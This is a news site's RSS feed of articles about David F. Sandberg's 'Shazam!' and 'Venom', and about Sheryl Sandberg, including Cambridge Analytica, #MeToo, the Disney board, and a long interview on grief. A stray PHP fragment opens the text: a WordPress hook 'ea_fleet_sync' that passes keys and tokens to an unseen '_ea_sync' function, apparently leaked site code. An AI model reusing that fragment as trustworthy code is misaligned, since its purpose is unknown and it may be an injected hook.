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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Sandberg – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 07 Sep 2022 08:33:30 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Sandberg – Brief News https://briefnews.eu 32 32 Shazam! Director David F. Sandberg Almost Directed A Completely Different Superhero Movie https://briefnews.eu/shazam-director-david-f-sandberg-almost-directed-a-completely-different-superhero-movie/ https://briefnews.eu/shazam-director-david-f-sandberg-almost-directed-a-completely-different-superhero-movie/#respond Wed, 07 Sep 2022 08:33:30 +0000 https://briefnews.eu/shazam-director-david-f-sandberg-almost-directed-a-completely-different-superhero-movie/

One of the most notable aspects of David F. Sandberg’s 2019 superhero film “Shazam!” is its sense of wide-eyed wonderment. The title character is a tall, muscular, adult superhero with lightning powers and the ability to fly. In actuality, Shazam is the alter ego of one Billy Batson (Asher Angel), an orphaned teen who, through a complicated set of circumstances, acquired the ability to become a superpowered adult. Much of “Shazam!” is devoted to Billy and his foster brother Freddy (Jack Dylan Grazer) reacting with astonishment to Billy’s new superpowers. Indeed, it takes Billy and Freddy the bulk of “Shazam!” to realize that being a superhero involves more strength of character than raw power. 

The film’s “little kid” sense of awe is something that is woefully missing from a lot of modern superhero cinema which increasingly skews toward oblique interconnected mythologies and the turgid navel-gazing of Nietzschean overmen. “Shazam!” is light and fun and understands the appeal superheroes have for youths. It’s the best superhero movie at least since Sam Raimi’s “Spider-Man 2.”

Given its fresh-faced innocence and little-kid appeal, it’s bizarre to think that Sandberg was once attached to a far stranger and weirder superhero flick. In a recent interview on Instagram, portions of which were transcribed on CBR, Sandberg revealed that he almost took on the alien parasite film “Venom.”

Venom

For “Spider-Man” fans, Venom is a well-understood and long-established villain who has been giving Spider-Man trouble since his creation in 1988. For outsiders, his origin is incredibly oblique. The story goes — very briefly — that Spider-Man, while visiting an alien world (don’t ask), stepped into a machine that wrapped his body in a brand new, all-black Spider costume. It would eventually be revealed that his new outfit was not made of cloth, but was in fact a living, intelligent alien blob that could bond with a host organism and change itself into clothes. The blob ended up seeping too deeply into Spider-Man’s brain, necessitating that he painfully separate himself from the symbiote. It then wrapped itself around a man named Eddie Brock, a rival of Peter Parker’s, warping into a large, fanged, cannibal version of Spider-Man. Functionally, Venom (as it called itself) is Spider-Man’s evil twin. 

Rueben Fleischer’s 2018 film “Venom” is comfortably separated from “Spider-Man,” and Eddie Brock (Tom Hardy) is merely infected by an alien parasite. When it emerges from his body and wraps itself around Eddie, it looks like a shark made of tar and snot. Venom may have been part of the pop consciousness for 30 years, but it still looks dang ugly.   

Sandberg revealed that he was once offered the chance to direct “Venom” when a fan asked point blank if he had ever been offered anything. Sandberg’s answer was brief: “I read the script for and had a meeting about ‘Venom’ but I was already going down the path of ‘Shazam!’ and felt that I’d rather do that than pursue ‘Venom.'”

It’s as simple as that. Sandberg just wanted to do “Shazam!” more.

Their Sequels

Both “Shazam!” and “Venom” have one notable thing in common: they gain power from their own characters and stories and don’t rely exclusively on their connection to other films in a franchise. “Venom,” at least until a post-credits stinger, doesn’t link to other films in any other Marvel Comics film canon, and “Shazam!,” in having a few references to Batman and an adorable cameo from Superman, is part of the DCEU. But otherwise, both films are stronger for living in their own worlds. Although tonally very different, both movies are arguably good for the same reason. 

They were also big hits. “Shazam!” made $ 366 million, and “Venom” made a whopping $ 856 million. “Venom: Let There Be Carnage,” a bonkers, 90-minute trifle, expanded the relationship between Eddie and his symbiote into a straight-up queer romance, while “Shazam! Fury of the Gods” will pit Billy against villains played by Helen Mirren and Lucy Liu. “Fury of the Gods” is due in theaters on March 17, 2023. 

With the “Spider-Man” extended universe in a bizarre place (“Madame Web,” anyone?) and the future of the DCEU uncertain, it seems “Venom” and “Shazam!” will remain stalwart in being disconnected. Thank goodness. 

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]]> https://briefnews.eu/shazam-director-david-f-sandberg-almost-directed-a-completely-different-superhero-movie/feed/ 0 Sheryl Sandberg reportedly wanted to know if George Soros, who publicly criticized Facebook, was shorting the company’s stock. https://briefnews.eu/sheryl-sandberg-reportedly-wanted-to-know-if-george-soros-who-publicly-criticized-facebook-was-shorting-the-companys-stock/ https://briefnews.eu/sheryl-sandberg-reportedly-wanted-to-know-if-george-soros-who-publicly-criticized-facebook-was-shorting-the-companys-stock/#respond Fri, 30 Nov 2018 20:29:23 +0000 http://briefnews.eu/sheryl-sandberg-reportedly-wanted-to-know-if-george-soros-who-publicly-criticized-facebook-was-shorting-the-companys-stock/ sheryl sandberg

  • Facebook chief operating officer Sheryl Sandberg reportedly requested opposition research on billionaire George Soros.
  • Sandberg reportedly wanted to know if Soros, who publicly criticized Facebook, was shorting the company’s stock. That news comes after it was revealed that Facebook had a relationship with the opposition-research firm, Definers Public Affairs.
  • Definers has had ties to Republican campaigns and it previously released a report that suggested Soros, a popular target for anti-Semitic and right-wing groups, was secretly funding anti-Facebook organizations.
  • Sandberg has suggested she was unaware of Facebook’s relationship with the firm.

Sheryl Sandberg, Facebook’s chief operating officer, reportedly requested research on billionaire George Soros, and wanted to see if the investor was shorting Facebook’s stock, the company said to multiple news organizations on Thursday.

That news comes after it was revealed that Facebook had a relationship with the opposition-research firm, Definers Public Affairs. Definers has had ties to Republican campaigns and it previously released a report that suggested Soros, a popular target for anti-Semitic and right-wing groups, was secretly funding anti-Facebook organizations.

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]]> https://briefnews.eu/sheryl-sandberg-reportedly-wanted-to-know-if-george-soros-who-publicly-criticized-facebook-was-shorting-the-companys-stock/feed/ 0 Sheryl Sandberg says Facebook knew about Cambridge Analytica two-and-a-half years ago but they didn’t check (FB) https://briefnews.eu/sheryl-sandberg-says-facebook-knew-about-cambridge-analytica-two-and-a-half-years-ago-but-they-didnt-check-fb/ https://briefnews.eu/sheryl-sandberg-says-facebook-knew-about-cambridge-analytica-two-and-a-half-years-ago-but-they-didnt-check-fb/#respond Fri, 06 Apr 2018 10:08:02 +0000 http://briefnews.eu/sheryl-sandberg-says-facebook-knew-about-cambridge-analytica-two-and-a-half-years-ago-but-they-didnt-check-fb/ Sheryl Sandberg Today NBC

  • Facebook knew Cambridge Analytica was mishandling user data two-and-a-half years ago, COO Sheryl Sandberg told NBC.
  • But when the company discovered the problem, execs relied on CA’s assurances that they had deleted the data.
  • The company could have done an audit, but did not, she said.
  • “To this day, we still don’t know what data Cambridge Analytica have,” she told the Financial Times. “We made mistakes and I own them and they are on me.”

Facebook COO Sheryl Sandberg told NBC’s Today show that the company knew Cambridge Analytica had mishandled users’ data two-and-a-half years ago, but failed to check any further after CA assured them the data had been deleted.

Had Facebook audited CA’s data holdings, Facebook could have prevented the privacy scandal that has derailed the company, Sandberg told Today’s Savannah Guthrie.

during an interview on Friday’s “Today” show, part of which aired Thursday night.

Cambridge Analytica is under investigation in both the US and the UK for the way it obtained as many as 87 million users’ data from Facebook and for whether it used that data to target voters on behalf of the Trump campaign in the US and the Brexit referendum in the UK.

When asked why Facebook didn’t follow up when it found that Cambridge Analytica was abusing user data back in 2016, Sandberg told Guthrie: “You are right we could have done this 2 1/2 years ago … We thought the data had been deleted and we should have checked.”

She continued: “We thought it had been deleted because they gave us assurances, and it wasn’t until other people told us it wasn’t true, but … we had legal assurances from them that they deleted. But what we didn’t do was the next step of an audit, and we’re trying to do that now.”

Sandberg also said, in a different interview, that Facebook could not conduct such an audit because it must wait for the UK information commissioner to finish its investigation of Cambridge Analytica’s election activity. “To this day, we still don’t know what data Cambridge Analytica have,” she told the Financial Times.

Sandberg, like CEO Mark Zuckerberg, has been doing a media apology tour over the way the company has allowed third-party access to user data. “We made mistakes and I own them and they are on me,” she told the FT.

“There are operational things that we need to change in this company and we are changing them … We have to learn from our mistakes and we need to take action,” she said.

She also said Facebook would introduce in America similar privacy standards to those that will be enforced in Europe later this year under the European Union’s new General Data Protection Regulation and ePrivacy laws.

The two laws require companies get affirmative opt-in permission from every user for every piece of data any company keeps or processes.

The permission process may come as a shock to Facebook users because it will force Facebook to tell them exactly what data it holds on them and whom it shares that data with; and it will force users to examine whether they want that level of information sharing to continue.

“Europe was ahead on this,” she told the FT.

Most observers expect a measurable reduction in user sharing and engagement to occur once the new rules take effect.

]]> https://briefnews.eu/sheryl-sandberg-says-facebook-knew-about-cambridge-analytica-two-and-a-half-years-ago-but-they-didnt-check-fb/feed/ 0 Sheryl Sandberg on #MeToo: Men need to do more than stop sexually harassing women https://briefnews.eu/sheryl-sandberg-on-metoo-men-need-to-do-more-than-stop-sexually-harassing-women/ https://briefnews.eu/sheryl-sandberg-on-metoo-men-need-to-do-more-than-stop-sexually-harassing-women/#respond Sun, 04 Mar 2018 09:20:23 +0000 http://briefnews.eu/sheryl-sandberg-on-metoo-men-need-to-do-more-than-stop-sexually-harassing-women/

Facebook COO Sheryl Sandberg said today more needs to be done to address the concerns of the #metoo movement than not sexually harassing women.

“We need a world where women don’t get sexually harassed, full stop, period, but what’s important: That’s not enough, not enough,” she said onstage at the Castro Theater in San Francisco. “We need a world where women, and women of color particularly, get equal opportunity. It is not enough not to harass us. It’s necessary, but not sufficient.”

Sandberg continued to say she’s worried about the potential unintended consequences of #MeToo, and talked about #MentorHer, an initiative began last month by her nonprofit organization LeanIn.org.

Men occupy the majority of management positions, and a LeanIn.org and SurveyMonkey survey conducted in January found that twice as many male managers now feel uncomfortable working alone with a woman, a trend that could have a negative impact on women’s careers.

“Senior men are 3.5 times more likely to hesitate to have a work dinner with a junior woman than a junior man, 5 times more likely to hesitate to travel with a junior woman than a junior man. And that is a problem because I remember when I published Lean In 5 years ago, one of the most common responses I got from senior men was ‘You’re right, I take the man out for drinks, not the woman; I spend time with the man, not the woman; and that is the informal and formal mentoring time that women are not getting.’”

The result, she said, leads to a disproportionate number of men in leadership roles compared to women.

Men and women deserve equal access to that informal mentorship from managers, so if you don’t have dinner with junior woman, don’t have dinners with junior men either, Sandberg suggested. She brought the same message to a Morgan Stanley conference for investors and people in the tech and telecom industries earlier this week.

Well-known leaders in tech who have taken the #MentorHer pledge include Netflix CEO Reed Hastings, LinkedIn co-founder Reid Hoffman, LinkedIn CEO Jeff Weiner, and Airbnb CEO Brian Chesky.

Policy changes can positively affect trends of sexual harassment and inequality, but so can culture, she said, and that’s a good thing, because “the good news is when it’s cultural, it means you can change it.”

“Culture does change, and culture has to change, it has to,” she said pointing to studies that have found that more diverse organizations produce better results. “I’m sure with every movement and every movement towards a following there are lifting, inspiring moments and moments when it feels impossible. But we have no choice but to change.”

In the home, more needs to be done as well, she said, since women in heterosexual relationships traditionally do 30-40 percent more of the child rearing and chores around the house.

“If you want to know what’s holding women back in the workplace, that’s a big chunk of it too, right? Because women have two jobs and men have one,” Sandberg said.

This is less of a problem for gay or lesbian couples, who tend to share chores more evenly.

“As a woman, you’re much better off with a woman,” she said.

Sandberg spoke today with Recode editor Kara Swisher at Lesbians Who Tech, a conference attended by more than 5,000 people in San Francisco’s Castro District.

]]> https://briefnews.eu/sheryl-sandberg-on-metoo-men-need-to-do-more-than-stop-sexually-harassing-women/feed/ 0 Disney’s video streaming plans mean Twitter’s Jack Dorsey and Facebook’s Sheryl Sandberg have to leave its board https://briefnews.eu/disneys-video-streaming-plans-mean-twitters-jack-dorsey-and-facebooks-sheryl-sandberg-have-to-leave-its-board/ https://briefnews.eu/disneys-video-streaming-plans-mean-twitters-jack-dorsey-and-facebooks-sheryl-sandberg-have-to-leave-its-board/#respond Sat, 13 Jan 2018 02:46:21 +0000 http://briefnews.eu/disneys-video-streaming-plans-mean-twitters-jack-dorsey-and-facebooks-sheryl-sandberg-have-to-leave-its-board/ Jack Dorsey Bob IgerMichael Kovac/Getty Images for Vanity Fair

The CEO of Twitter and COO of Facebook are leaving Disney’s board due to conflicts of interest, as Disney gears up to launch a digital streaming service to rival Netflix. 

On Friday, the entertainment giant announced that chief operating officer Sheryl Sandberg and chief exec Jack Dorsey will not not be seeking re-election to its board. 

For years, companies like Facebook and Twitter have insisted that they are technology firms rather than traditional media companies. But in recent months they have faced increased scrutiny over their responsibility for the media that appears on their platforms. Meanwhile, Disney is preparing to move more directly into the technology space with the launch of a major streaming service in 2019 — and so the two senior execs and the entertainment company are parting ways.

“Given our evolving businesses and the businesses of Ms. Sandberg and Mr. Dorsey are in, it has become increasingly difficult for them to avoid conflicts relating to Boad matters, and they are not standing for re-election,” Disney said in a statement.

Robert Matschullat, former Seagram Company vice chairman, will also leave Disney’s board because the company limits service to 15 years, the company said. Orin Smith, former CEO of Starbucks Corp, will depart — due to rules that specify retirement at age 74.

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]]> https://briefnews.eu/disneys-video-streaming-plans-mean-twitters-jack-dorsey-and-facebooks-sheryl-sandberg-have-to-leave-its-board/feed/ 0 Sheryl Sandberg: Too many men think hiring a few women makes their companies diverse https://briefnews.eu/sheryl-sandberg-too-many-men-think-hiring-a-few-women-makes-their-companies-diverse/ https://briefnews.eu/sheryl-sandberg-too-many-men-think-hiring-a-few-women-makes-their-companies-diverse/#respond Wed, 11 Oct 2017 00:42:52 +0000 http://briefnews.eu/sheryl-sandberg-too-many-men-think-hiring-a-few-women-makes-their-companies-diverse/ Corporate America thinks if 10% of its leaders are women, that’s good enough, according to new research from Sheryl Sandberg’s Lean In organization.
Sandberg says that too many male leaders are blind to disrespectful treatment of women, too.
Sandberg hasn’t fully solved the diversity problem at Facebook, where she is COO, either.

Sheryl SandbergToo many corporate leaders think that sprinkling a few women into the ranks here and there is all they need to do have a diverse workforce, Sheryl Sandberg says.

“Nearly 50% of men think that when just 1 in 10 senior leaders in their company is a woman, that’s sufficient. And remarkably, a third of women agree. When so many people see a leadership team that’s only 10% women—who, let’s remember, are half the population—and think, ‘That’s good enough,’ it’s a sign that we’re too comfortable with the status quo,” Sandberg wrote in an Op Ed for the Wall Street Journal on Tuesday.

She was remarking on a finding of the new 2017 Women in the Workplace report, a joint study by Sandberg’s Lean In’s organization and McKinsey & Co. released on Tuesday.

Sandberg is known as the tech industry’s most visible feminist, having launched her Lean In organization by way of a best-selling book back in 2013.

Beyond the scant number of women in leadership roles, Sandberg also railed against the lack of people of color in leadership roles, particularly Black women, but also Asians and Latinas.

Sandberg quoted one Black woman from the workplace report who said: “We can have the same degree, the same years of work…[but] we are not tapped on our shoulders as often as other folks are. And we’re not getting feedback on why.”

Doctor, heal thyself?

We can’t help pointing out that there’s some irony to Sandberg’s opinions. While she’s doing great work to bring high-level attention to the lack of workforce equality, she’s also the chief operating officer at Facebook. That means operating tasks like hiring fall in her domain.

Peter ThielAGON LimitedAnd Facebook’s own track record here isn’t exactly role model material. In August the company released its annual diversity report. While Facebook is among the most diverse work force in the tech industry, that’s not saying much.

The company is still nowhere near achieving the kind of diversity balance she’s pushing the whole corporate world to achieve.

For instance, just under one-third of Facebook’s new hires for engineering jobs are women. In a world where women often make up around 17% of the tech roles at tech companies, that’s a move in the right direction. But it also means that two-thirds of new engineering hires are still men. That’s not exactly 50/50, even in new hiring. Overall, women still make up only 19% of Facebook’s tech roles. 

At the same time, 72% of the company’s senior leaders are men. Only one out of five of its executive leaders is a woman (Sandberg herself). Only two out of eight of its board members are women.

Facebook has increased its Black employees, as well as Hispanic employees, by 1% each and that brings Facebook’s Black population to 3% and its Hispanic population to 5%. Just to compare to the general US population, Black people make up about 15% and Hispanics about 16%.

Look at the ‘blind spots’

Her answer as to why corporate America can’t seem to become an equal opportunity employer despite its efforts: “Blind spots are getting in our way,” she writes.

Mark ZuckerbergGettyShe says that “men look right past” the lack of diversity and are more likely to believe that their companies are already doing what it takes to hire a more diverse workforce. Men, who still hold most of the leadership roles, are also more likely to believe that disrespectful behavior toward women is being quickly addressed, the workplace study found.

Sandberg’s solution is two fold: 1) make the economic case for why a better represented workforce is a good thing. 2) make sure managers know, and will be rewarded, for building diverse teams themselves. 

But, as important as her words are, they would carry even more weight if she achieved those diversity numbers at Facebook, too.

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]]> https://briefnews.eu/sheryl-sandberg-too-many-men-think-hiring-a-few-women-makes-their-companies-diverse/feed/ 0 Sheryl Sandberg on How to Get to Gender Equality https://briefnews.eu/sheryl-sandberg-on-how-to-get-to-gender-equality/ https://briefnews.eu/sheryl-sandberg-on-how-to-get-to-gender-equality/#respond Tue, 10 Oct 2017 22:44:42 +0000 http://briefnews.eu/sheryl-sandberg-on-how-to-get-to-gender-equality/ The Facebook chief operating officer and founder of LeanIn.Org says the first step is realizing how far we have to go.

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]]> https://briefnews.eu/sheryl-sandberg-on-how-to-get-to-gender-equality/feed/ 0 Sheryl Sandberg explains how she’s coping with her husband’s death, how Mark Zuckerberg has helped her, and why ‘grief leave’ is as important as maternity leave https://briefnews.eu/sheryl-sandberg-explains-how-shes-coping-with-her-husbands-death-how-mark-zuckerberg-has-helped-her-and-why-grief-leave-is-as-important-as-maternity-leave/ https://briefnews.eu/sheryl-sandberg-explains-how-shes-coping-with-her-husbands-death-how-mark-zuckerberg-has-helped-her-and-why-grief-leave-is-as-important-as-maternity-leave/#respond Fri, 05 May 2017 21:51:24 +0000 http://briefnews.eu/sheryl-sandberg-explains-how-shes-coping-with-her-husbands-death-how-mark-zuckerberg-has-helped-her-and-why-grief-leave-is-as-important-as-maternity-leave/ sheryl sandbergJustin Sullivan/Getty Images

Sheryl Sandberg has had a difficult two years. While she has been working as the chief operating officer at Facebook, which recently reported one of its strongest quarters ever, she was dealt a devastating blow.

In May 2015, her husband, Dave Goldberg, died suddenly.

He and Sandberg were on vacation in Mexico. Goldberg had gone to the gym and had a heart arrhythmia while he was on the treadmill. He fell, and by the time he arrived at the hospital, it was too late. He was gone.

Sandberg has had to figure out how to continue living her life, one she never would have chosen — option B. She’s had to figure out how to reconnect with colleagues and cope with the grief and anger that sometime overwhelms her.

As part of her recovery she coauthored a book, “Option B,” with Adam Grant. In it, they offer researched-backed ways to handle tragedy, and Sandberg offers her own learnings.

Business Insider’s US editor in chief, Alyson Shontell, sat down with Sandberg to discuss her book, including:

  • Why you should think twice before asking someone “How are you?”
  • How she built a strong working relationship with Mark Zuckerberg and how he helped her.
  • Why she decided to be so public about her family’s experience.
  • Why extended bereavement, or “grief leave,” should be as important as maternity and paternity leave.
  • The pep talk Silicon Valley investor Chamath Palihapitiya gave her to keep her career on track.
  • Tips for building resilience, which Sandberg says you can strengthen like a muscle with practice.

You can listen to the interview below.


Following is a transcript of the interview, which has been edited for clarity and length.

Alyson Shontell: Sheryl Sandberg is the chief operating officer of Facebook, a company she scaled from basically no revenue to one that generates $ 8 billion in a single quarter. She’s the best-selling author of “Lean In” as well as a new book, “Option B,” which details how she’s recovering after suffering the loss of her husband, Dave, who in May 2015 died suddenly. He was in his late 40s.

Thank you so much, Sheryl, for taking the time. It’s really a pleasure to speak with you.

Sheryl Sandberg: I’m so glad to be with you. Thank you for having me today.

Shontell: I wanted to open with a question that a lot of people tend to mess up when they’re speaking with someone who’s been through something terrible. How are you doing today?

Sandberg: Thank you for asking, and thank you for asking that way. Better.

Grief comes and goes, it ebbs and flows. I think one of the lessons of this for me is that there’s no one way to grieve. Everyone does it in their own way, in their own time, and we all process life and its challenges and its ups and downs as they come.

But, for me, acknowledging that people are going through hard things is one of the big lessons of a horrible experience. After my husband died, I found the standard American greeting of “How are you?” to be a really hard question to answer. You know?

“How are you?”

“Not good.”

No one says that.

Adam Grant and I wrote this book, and Adam did the research on it. The response to the standard American greeting of “How are you?” is “I’m great.” And anything else is jarring.

When people are really suffering, and we know they’re suffering, that question can be a very difficult one. Inadvertently, I think without anyone meaning it, it communicates a lack of empathy.

“How are you?” “Well, I just had chemo this morning.”

“How are you?” “Well, my child’s about to die.”

It’s very hard for people to answer that question and not have the pain they’re going through acknowledged.

So “How are you today?” has this implicit … “I get it, you are going through something hard and you are living day to day.” And it’s a much kinder question.

Dave Goldberg and Sheryl SandbergFacebook/Sheryl Sandberg

Shontell: It’s a great thing to shine a light on. It’s certainly a mistake that I was making before.

Sandberg: Me too — me too. I want to be clear about that. I made this mistake many times.

Shontell: I was reading your book and I just kept thinking, “Oh, my God — this is so raw.” I don’t know how — or even why — you had the courage to write some of what you were able to write. You had your wedding vows in there, you had how you found your husband.

There’s a misconception about you — that you wanted to be a public figure. But the first version of your book “Lean In” actually didn’t have any of your personal career story in it, because you didn’t want to be out there. But you decided you had to be.

Sandberg: That’s actually right. I remember when I first got promoted at Google, they asked me if I wanted to be on the website and I said no, and the other women said no, and all the men said yes.

So they came back to me and the other woman and they said, “Well, all the women said no and all the men said yes, so now it looks like we only promoted men, so we’re putting you all on the website. We’re taking away that choice.”

But it’s true, and when I first wrote “Lean In,” I wrote the first third of the book to hand in, and I thought it was fantastic. It had four pages on the Masai matrilineal tribe that showed the research on how matrilineal tribes, the characteristics we normally associate with men, are associated with women. Again, I thought it was fantastic. It had five pages on a study of college kids playing video games.

My editors and Dave told me, “This is a terrible book that no one will read because you’re not putting yourself in it.” So I did put myself in it. Then when Dave died, if I could have unwritten “Lean In” I would have done it. Because writing “Lean In” is what made his death more public, because we had shared more of ourselves, and that was not some place I wanted to be.

Then that early grief was so devastating, and it wasn’t just that I felt so much grief at the beginning — it was that it was so isolating. I used to drop my kids off at school and people would say “Hi” and I’d walk into work and everyone would chit chat and all of that essentially stopped. People just looked at me like a deer in the headlights because they didn’t know what to say, and they were afraid to say the wrong thing. Which I understood, because I had done this before, so they didn’t really say much at all.

I was coming to the 30-day period after the burial, which is the Jewish period of mourning for a spouse called “sheloshim,” and I felt worse and worse. So I wrote a post on what I would say if I was to be honest with everyone about how I felt. Then I went to bed the night before thinking, “There’s no way I’m posting this, this is too raw, and open and revealing.”

Then I woke up the next morning and I just felt so horrible. I thought, “This is not the end of mourning. I could not feel less like it’s the end of mourning.” I just said to myself, you know what, it’s not going to get worse, but it just might get better. And I hit “post.” That sharing was one of the better things I did, because it really changed the reaction of the people around me.

A friend of mine at work told me that she’d been driving by my house but never coming in. She started coming in and I needed her. Strangers started posting what they were going through to strangers. It didn’t take away the grief and it certainly didn’t bring Dave back, but it did make me feel less alone. I think that’s really the path that led me to eventually write this book.

The elephant in the room, and dealing with anger

Shontell: One thing you talk about is the elephant in the room, something that’s so surprising when you’re going through something like this — and you seem to have found this — is that some of the people who are the closest in your life, who you love the most and have the closest relationship with, just don’t say anything about what you’re going through. They don’t want to bring it up — they don’t want to upset you. And you seem to have found that as well.

Sandberg: Absolutely. I used to make this mistake before. I used to think that if someone was going through something hard, if I brought it up I was reminding them. You can’t “remind me” I lost Dave. You can’t remind someone that their child is sick. You can’t remind someone their dad went to jail or their mom is in trouble or they just lost their job. It’s not possible to remind anyone of that.

They know that, and so when people didn’t say anything, I just felt like there was this huge elephant following me everywhere. It’s not just death — again, it’s all of those examples I just shared. I think one of the lessons for me is that acknowledging pain is so powerful. Not sugar-coating it, not “I know you’re going to get through this” — because sometimes you’re not — but “I know you’re scared and I know this is hard, and we’re going to get through it together.” The power of acknowledgement and the power of we. Not, “You’re going to get through this.” “We’re going get through this.”

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Shontell: How do you deal with the anger? That is a trait that people don’t realize might come up when you’re going through something like this, but anger is a common feeling when you’re going through grief.

Sandberg: Yeah, I had read about this. I had heard that when people lost people, there was anger. But I definitely experienced it a lot more than I was prepared for it. Anger was not something I’d ever really felt in my life and I was not prepared for it.

Someone would say the wrong thing and I would burst into tears. Someone would say the wrong thing or the right thing at the wrong time and I would be like, “That’s not helpful.” One of my closest friends, I did that to. I said, “That’s not helpful” and then I felt bad immediately and I said, “I’m so sorry.” She put her arms around me and she said, “I’m angry too. You can be as angry as you want with me,” she said, “I’m going nowhere. I’m angry too.”

Still, to this day, when I do have those ebbs and flows of grief and it comes back, there is anger to it and I’m angry that someone took Dave from me or the world took Dave from me.

My rabbi told me to “lean into the suck” — not what I meant when I said “lean in,” but very good advice, and it is. It’s leaning into the negative, leaning into the anger, leaning into the sadness and getting rid of what I think of as the second derivative. “OK, I’m angry, of course I’m angry, my husband died. I’m not going to be angry on angry.” Or, “OK, I’m sad, I don’t have to be sad.” Trying to get rid of at least the second derivative of it has been very helpful advice for me.

Returning to work

Shontell: Let’s talk about your recovery and returning to work, because your career has been such a big part of your life. How long was it before you were able to get back to the office?

Sandberg: The grief councilors I spoke to advised me to get my kids back to their normal routine and back to school as quickly as possible. So 10 days after Dave died they went back to school and I went back to work, in a pretty modified schedule. I was at work when they were at school, and I drove them and picked them up every day, so I left pretty early.

Let’s start with — I’m really lucky to have that flexibility, and most people don’t. Most people get very little, like three days or no paid time off for a bereavement, and I think that’s something we absolutely need to address.

Facebook had really good policies before, but we’ve extended them even further. I’ve had lots of conversations with other companies, I’m hopeful that other companies will also think about how long it really takes to just even deal with the logistics of a death. When I came back, yes, it was soon and it was hard, and it was soon and hard for my kids to go back to school. I think for us, being home was worse.

Definitely my kids said school was super hard and they took cry breaks, and they had moments where they couldn’t get through it. But it was definitely better to get out of the house, to see their friends, to have something else to focus on. For me too, getting out of the house, and even if I couldn’t fully focus in a meeting, if I had 10 minutes of focusing, that was 10 minutes I wasn’t thinking about Dave and that was a relief.

There’s a woman I talked to for the book, whose story is in there, who said that she went to work the day after her husband died and she just said she couldn’t be at home. She literally could not be in her home that she shared with him. She wasn’t working at Facebook at the time, but she felt incredibly judged by coworkers.

You would think you wouldn’t want to be there, but we just have to respect that they are some people who are going to want to come back right away, and some people are going to want to hide in their homes. Some people are going to want to not be in their home. We have to respect anyone’s process as they go through this.

Shontell: One thing that you mentioned there is, there are people who do want to come back to work and need the distraction, and then there are others who need the time to grieve. You just said that you helped extend Facebook’s bereavement policy. Do you think that companies should have a grief leave, the same way that they have maternity leave and paternity leave, that widespread?

Sandberg: Yes. That’s what we have [at Facebook]. We have bereavement leave and we’ve doubled it. We used to offer 10 days for immediate family and five days for extended family. So immediate family, a parent, a child, et cetera. Extended family, a grandparent. Now it’s 20 and 10No one’s thinking we recover in 20 days but 20 full days off is a good time to get yourself a little more ready to come back if people want to take it, and 10 days is a nice amount of time.

We also offer paid family medical leave that you can take really for any reason and unlimited sick leave. I also think we need to take into account the full range of needs people have. Maternity and paternity should be equal and long. We’re the only developed country in the world that doesn’t have paid maternity leave. Paternity leave is just as important. Paid family medical leave so that you can take care of a parent, a child, a grandparent, whatever you need to do. I think we’re shortsighted when we don’t invest in our employees as companies, and as an economy, because we invest in them and they invest back in us.

I think we need far better corporate policies and I think we need far better public policy. I also think we need to take a hard look at what companies do for the family when someone dies. [Like] financial assistance for someone who is working here and they pass away. Their family is very expensive. I’ve gotten a lot of notes from people who said, “I read your book. My spouse died and I was cut off from everything in his or her company 24 hours later.” That’s just bad corporate policy. I think we have a responsibility, not just to the people who work for us, but to their families.

A friend in Mark Zuckerberg

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Shontell:

Well, one person that seems to have helped you quite a bit through this is Mark Zuckerberg. Some of the things you described doing with Mark as a companion, I can’t even imagine doing that with my boss ever. I guess you two are more of peers. He and his wife Priscilla took you to a beach after Dave died to help you take your mind off it. There would be times that you’d call him after work when you felt like you made a fool of yourself in a meeting, and he’d say, “Oh, no Sheryl. You would have done that before.” It sounds like he was really a good friend to you. I’m curious about how you got to that point in your relationship with Mark, and how he’s helped you here?

Sandberg: Mark is just a remarkable person and a remarkable human being. Priscilla is just the most warm, loving, lovely person. Together they’re an incredible couple. I think Mark and I, from the beginning, we knew we’d have to work together very closely. We set out to have a very close working relationship.

It became a friendship very quickly, even before I took the job. Mark and Priscilla and Dave,and I went out for dinner. I was thinking about taking the job, and Mark was so well-known, so we went to a restaurant where no one would notice us or see us. The four of us spent time together and we became friends early. I’m lucky for that, that we had both the personal friendship as well as the deep professional relationship.

A lot of what Mark did as a friend was super important. A lot of work Mark did in the office, I hope everyone can have personal friendships, but even if you don’t have the depth of friendship we had, building someone back up, telling them they made a good point in a meeting, telling someone with cancer, “I still believe in you and think you can contribute here,” — anyone can do that just as a boss or just as a colleague. I think people have a lot to learn from the example Mark set. To be honest, I don’t know how he knew this. I didn’t know this. He did a bunch of stuff that I certainly never thought to do for people I worked with who were grieving. It’s a pretty incredible story.

Getting ‘back on the motherf—ing path’

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Shontell:

One question I also had for you was, have your career ambitions changed at all? Does work still have the same importance and meaning in your life now that your whole life has been turned upside down?

Sandberg: It does. This is part of the story I told [in my book] about Chamath [Palihapitiya], who was an early employee no longer at Facebook, saying, “You need to be ambitious still.” Definitely at the beginning I thought if I could get through the day, that was about all I could do. I definitely wanted to keep my job. I knew I wanted to still work. Anytime I pictured myself at home alone without Dave that was a bad, bad thought. That really mattered.

A lot of people feel that way both for financial reasons and for fulfillment reasons, that they want to be able to hang on to the other parts of their lives. When one thing falls apart you don’t want everything to fall apart.

For me, my job really is more meaningful. My friends told me when people passed away that Facebook became more important to them, but experiencing it myself was a totally different thing. What we do here really matters to me and I think matters even more.

Shontell: The Chamath story that you’re referencing … Chamath was an early Facebook employee and he’s now gone on to be a very successful venture capitalist in Silicon Valley. He came over to your house and said he was going to take you for a walk. Then he said, “Get back on the mother-f—–g path.” What did that do for you? Where were you before and what is that ambitious path he is talking about for you?

Sandberg: I think everything I was saying is, “I’m going to live through the day. I’m going to get my kids to bed tonight. I’m going to make it home from work in one piece.” What he said was, “Well, what are the big things you’re working on at Facebook and what are your big goals and dreams?”

I just looked at him like, “Big goals and dreams? Get through it?”

He said, “No, no. You still should have dreams.” He said, “Dave would want that. Dave would not want your dreams to die with him.” It was permission that I could still have other parts of my life and still dream big for my company, for my kids, for myself.

Shontell: We have a lot of millennial readers, so what were the steps you made in your 20s to make yourself able to succeed so much by your 30s?

